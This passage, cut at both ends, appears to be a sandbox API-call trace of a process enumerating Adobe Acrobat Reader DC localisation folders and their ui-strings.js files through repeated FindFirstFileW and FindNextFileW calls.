dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157b0 [0277.098] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.098] FindNextFileW (in: hFindFile=0x33157b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.098] FindClose (in: hFindFile=0x33157b0 | out: hFindFile=0x33157b0) returned 1 [0277.098] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.098] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0277.098] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.098] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ko-kr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0277.099] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.099] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.157] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0277.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.157] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0277.157] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.157] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0277.157] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.157] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.157] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.157] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0277.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.157] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0277.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33156b0 [0277.158] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.158] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.158] FindNextFileW (in: hFindFile=0x33156b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.158] FindClose (in: hFindFile=0x33156b0 | out: hFindFile=0x33156b0) returned 1 [0277.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.158] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0277.158] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.158] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0277.159] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.159] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.159] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.159] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0277.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.159] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0277.159] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.159] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315a30 [0277.159] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.159] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.160] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.160] FindClose (in: hFindFile=0x3315a30 | out: hFindFile=0x3315a30) returned 1 [0277.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.160] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0277.160] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.160] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cf0 [0277.160] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.160] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.160] FindNextFileW (in: hFindFile=0x3315cf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.160] FindClose (in: hFindFile=0x3315cf0 | out: hFindFile=0x3315cf0) returned 1 [0277.160] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.160] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0277.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0277.161] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0277.161] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0277.161] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0277.161] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0277.161] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0277.161] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0277.161] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0277.161] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315b30 [0277.161] FindNextFileW (in: hFindFile=0x3315b30, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, 